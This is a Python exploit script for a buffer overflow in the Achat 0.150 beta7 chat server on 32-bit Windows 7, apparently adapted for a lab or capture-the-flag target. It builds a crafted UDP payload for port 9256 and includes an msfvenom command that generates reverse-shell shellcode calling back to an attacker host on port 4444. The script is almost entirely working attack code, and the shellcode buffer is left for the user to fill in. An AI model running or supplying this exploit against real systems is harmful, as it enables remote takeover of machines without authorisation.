#!/usr/bin/python
# Original: Author KAhara MAnhara
# Rewritten: in python3 by Zepperoniii aka Zep
# Achat 0.150 beta7 - Buffer Overflow
# Tested on Windows 7 32bit
# https://www.exploit-db.com/exploits/36025
# give the script a few seconds to give you a reverse shell....

import socket
import sys
import time

#insert buffer code from msfvenom output
# msfvenom -a x86 --platform Windows lhost=10.10.14.4 lport=4444 -p windows/shell_reverse_tcp  -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python
# change lhost, lport and payload to what ever you like! Replace bof = b"" with the output from above


buf =  b""

#DON'T FORGET TO CHANGE THE SERVER IP AND PORT IF NEEDED!!!!

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_address = ('10.10.10.74', 9256)

fs = b"\x55\x2A\x55\x6E\x58\x6E\x05\x14\x11\x6E\x2D\x13\x11\x6E\x50\x6E\x58\x43\x59\x39"
p = b"A0000000002#Main" + b"\x00" + b"Z"*114688 + b"\x00" + b"A"*10 + b"\x00"
p += b"A0000000002#Main" + b"\x00" + b"A"*57288 + b"AAAAASI"*50 + b"A"*(3750-46)
p += b"\x62" + b"A"*45
p += b"\x61\x40"
p += b"\x2A\x46"
p += b"\x43\x55\x6E\x58\x6E\x2A\x2A\x05\x14\x11\x43\x2D\x13\x11\x43\x50\x43\x5D" + b"C"*9 + b"\x60\x43"
p += b"\x61\x43" + b"\x2A\x46"
p += b"\x2A" + fs + b"C" * (157 - len(fs) - 31 - 3)

ree = b"A" * (1152 - len(buf))
p += buf + ree
p += b"\x00" + b"A"*10 + b"\x00"

print("---->{P00F}!")
i = 0
while i < len(p):
    if i > 172000:
        time.sleep(1.0)
    sent = sock.sendto(p[i:(i+8192)], server_address)
    i += sent
sock.close()